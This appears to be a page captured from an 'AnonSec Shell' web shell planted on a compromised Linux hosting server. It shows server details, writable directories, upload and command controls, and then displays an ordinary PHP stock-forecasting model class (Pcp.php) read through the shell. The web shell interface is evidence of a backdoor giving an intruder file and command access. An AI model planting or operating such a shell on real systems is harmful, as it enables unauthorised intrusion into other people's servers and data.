AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/imobles/application/plugins/module_pcp/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/imobles/application/plugins/module_pcp/models/Pcp.php
<?php

/**
 * Main class
 */
class Pcp
{

  private $stock_table = 'sys_items_stock';
  private $quantity_column_name = 'current_stock';

  public $product = null;



  public function __construct($product_id = null) {
    $this->product = ORM::for_table('sys_items')->where('id', $product_id)->find_one();
  }


  public function getItemStruct()
  {
    return ORM::for_table('sys_items_structure')->select('sys_items.description')->select('sys_items_structure.qty')->join('sys_items', array('sys_items_structure.production_sys_item_id', '=', 'sys_items.id'))->where('sys_items_id', $this->product->id)->findArray();

  }

  public function getSubItems()
  {
    $sub_items = array();

    $items_struct = ORM::for_table('sys_items_structure')->where('sys_items_id', $this->product->id)->findArray();

    foreach ($items_struct as $key => $item) {
      if($p = ORM::for_table('sys_items_structure')->select('sys_items.description')->select('sys_items_structure.qty')->join('sys_items', array('sys_items_structure.production_sys_item_id', '=', 'sys_items.id'))->where('sys_items_id', $item['production_sys_item_id'])->findArray()) {
        $product_sub = ORM::for_table('sys_items')->where('id', $item['production_sys_item_id'])->find_one()->as_array();
        array_push($sub_items, array("subitem" => $product_sub, "struct" =>  $p));
      }
    }

    return $sub_items;

  }

  public function getStepsCosts()
  {

    $list_steps = $this->getListSteps();
    $result = 0;

    foreach ($list_steps as $key => $value) {
      $result = $result + $value->getCost();
    }

    return $result;

  }

  public function getProduct()
  {
    return $this->product;
  }

  public function getListSteps()
  {
    return Model::factory('ProductionSteps')->where('product_id', $this->product->id)->find_many();
  }



















  public function forecastByStock()
  {
    $forecast = array();

    $items_has_struct = ORM::for_table('sys_items_structure')->group_by('sys_items_id')->findArray();

    foreach ($items_has_struct as $key => $item) {
      $p = ORM::for_table('sys_items_structure')->where('sys_items_id', $item['sys_items_id'])->findArray();
      $n = ORM::for_table('sys_items')->where('id', $item['sys_items_id'])->findArray();
      // array_push($forecast, array('item' => $item['sys_items_id'] ,'qtd' => $this->inStock($p)));
      array_push($forecast, array('item_id' => $item['sys_items_id'] ,'item_name' => $n[0]['description'],'qtd' => min($this->inStock($p))));
    }

    return $forecast;
  }

  public function forecastBySales() {
    $forecast = array();

    $sales3 = array('5','10');

    return $sales3;



    $items_has_struct = ORM::for_table('sys_items_structure')->group_by('sys_items_id')->findArray();

    foreach ($items_has_struct as $key => $item) {
      $p = ORM::for_table('sys_items_structure')->where('sys_items_id', $item['sys_items_id'])->findArray();
      // array_push($forecast, array('item' => $item['sys_items_id'] ,'qtd' => $this->inStock($p)));
      array_push($forecast, array('item' => $item['sys_items_id'] ,'qtd' => min($this->inStock($p))));
    }

    return $forecast;

  }


  public function hasStruct()
  {

  }

  public function inStock($items) {
    $qtd = 0;
    $array = array();

    foreach ($items as $key => $item) {
      $stock = ORM::for_table($this->stock_table)->where('sys_items_id', $item['production_sys_item_id'])->findArray()[0];

      if($p = ORM::for_table('sys_items_structure')->where('sys_items_id', $item['production_sys_item_id'])->findArray()){
      $forProduction = (min($this->inStock($p)));
      $qstock = (int)$stock[$this->quantity_column_name] + $forProduction;
      }else{
      $qstock = (int)$stock[$this->quantity_column_name];
      }

      $pqtd   = (int)$item['qty'];

      while ($qstock >= $pqtd) {
        $qtd++;
        $qstock = $qstock - $pqtd;
      }
      array_push($array, $qtd);
      $qtd = 0;
    }
    return $array;


  }




}

Anon7 - 2022
AnonSec Team